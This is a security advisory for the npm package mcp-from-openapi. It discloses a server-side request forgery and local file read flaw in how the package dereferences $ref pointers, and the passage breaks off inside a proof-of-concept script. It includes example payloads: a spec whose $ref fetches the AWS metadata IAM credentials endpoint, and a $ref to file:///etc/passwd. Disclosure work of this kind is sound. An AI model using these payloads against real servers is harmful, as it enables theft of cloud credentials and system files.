GitHub Security Advisory: GHSA-v6ph-xcq9-qxxj
Package: mcp-from-openapi (NPM)
Severity: HIGH (CVSS 7.5)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 2.1.2
Patched in: 2.3.0

Summary: mcp-from-openapi is Vulnerable to SSRF via $ref Dereferencing in Untrusted OpenAPI Specifications

Details:
## Summary

The `mcp-from-openapi` library uses `@apidevtools/json-schema-ref-parser` to dereference `$ref` pointers in OpenAPI specifications without configuring any URL restrictions or custom resolvers. A malicious OpenAPI specification containing `$ref` values pointing to internal network addresses, cloud metadata endpoints, or local files will cause the library to fetch those resources during the `initialize()` call. This enables Server-Side Request Forgery (SSRF) and local file read attacks when processing untrusted OpenAPI specifications.


## Affected Versions

`<= 2.1.2` (latest)

## CWE

CWE-918: Server-Side Request Forgery (SSRF)

## Vulnerability Details

**File:** `index.js` lines 870-875

When `OpenAPIToolGenerator.initialize()` is called, it dereferences the OpenAPI document using `json-schema-ref-parser`:

```javascript
this.dereferencedDocument = await import_json_schema_ref_parser.default.dereference(
  JSON.parse(JSON.stringify(this.document))
);
```

No options are passed to `.dereference()` — no URL allowlist, no custom resolvers, no protocol restrictions. The ref parser fetches any URL it encounters in `$ref` values, including:

- `http://` and `https://` URLs (internal services, cloud metadata)
- `file://` URLs (local filesystem)

This is the default behavior of `json-schema-ref-parser` — it resolves all `$ref` pointers by fetching the referenced resource.

## Exploitation

### Attack 1: SSRF to internal services / cloud metadata

A malicious OpenAPI spec containing:

```json
{
  "openapi": "3.0.0",
  "info": { "title": "Evil API", "version": "1.0" },
  "paths": {
    "/test": {
      "get": {
        "operationId": "getTest",
        "summary": "test",
        "responses": {
          "200": {
            "description": "OK",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
                }
              }
            }
          }
        }
      }
    }
  }
}
```

When processed by `OpenAPIToolGenerator`, the library fetches `http://169.254.169.254/latest/meta-data/iam/security-credentials/` from the server, potentially leaking AWS IAM credentials.

### Attack 2: Local file read

```json
{
  "$ref": "file:///etc/passwd"
}
```

The ref parser reads local files and includes their contents in the dereferenced output.

## Proof of Concept

```javascript
const http = require('http');
const { OpenAPIToolGenerator } = require('mcp-from-openapi');

// Start attacker server to prove SSRF
const srv = http.createServer((req, res) => {
    console.log(`SSRF HIT: ${req.method} ${req.url}`);
    res.writeHead(200, {'Content-Type': 'application/json'});
    res.end('{"type":"string"}');
});

srv.listen(9997, async () => {
    const spec = {
        openapi: '3.0.0',
        info: { title: 'Evil', version: '1.0' },
        paths: {
            '/test': {
                get: {
                    operatio